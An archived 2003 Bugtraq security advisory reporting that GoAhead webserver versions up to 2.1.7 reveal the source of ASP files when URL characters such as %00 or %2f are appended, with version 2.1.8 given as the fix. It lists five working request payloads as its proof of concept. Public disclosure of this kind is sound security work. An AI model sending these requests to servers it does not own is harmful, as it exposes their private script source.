[32879] in bugtraq
Server side scripts viewing in Goahead webserver <= 2.1.7
daemon@ATHENA.MIT.EDU (Luigi Auriemma)
Wed Dec 17 12:35:26 2003
Date: Wed, 17 Dec 2003 14:06:31 +0000
From: Luigi Auriemma <aluigi@altervista.org>
To: bugtraq@securityfocus.com
Cc: vulnwatch@vulnwatch.org, list@dshield.org, news@securiteam.com
Message-Id: <20031217140631.1b694b86.aluigi@altervista.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
#######################################################################
Luigi Auriemma
Application: Goahead webserver
http://12.129.4.11/webserver/webserver.htm
Versions: <= 2.1.7
Platforms: multiplatform
Bug: source code viewing of server side script files
Risk: low/medium
Exploitation: easy via browser
Date: 17 Dec 2003
Author: Luigi Auriemma
e-mail: aluigi@altervista.org
web: http://aluigi.altervista.org
#######################################################################
1) Introduction
2) Bug
3) The Code
4) Fix
#######################################################################
===============
1) Introduction
===============
Goahead webserver is an embedded OpenSource server that can be build on
a lot of systems (CE, Ecos, GNU/Linux, Lynx, MacOS, NW, QNX4, VXWORKS,
Win32 and others).
Then it is supported by a lot of companies that use it for their
projects and it is also used like "base" for other webservers,
furthermore it has been developed for be very tiny and to run on
embedded systems.
#######################################################################
======
2) Bug
======
Goahead webserver supports the usage of ASP files that are "executed"
when called by the client's browser.
However exists a vulnerability letting the client to view the source
code of each ASP file (or other server side scripts excluded the
cgi-bin files) simply adding some chars or URL encoded chars after the
name of the requested file:
%00, %2f, %5c, / and \
#######################################################################
===========
3) The Code
===========
http://server/asp.asp%00
http://server/asp.asp%2f
http://server/asp.asp%5c
http://server/asp.asp/
http://server/asp.asp\
#######################################################################
======
4) Fix
======
Version 2.1.8 released the 8th Dec 2003
#######################################################################
---
Luigi Auriemma
http://aluigi.altervista.org
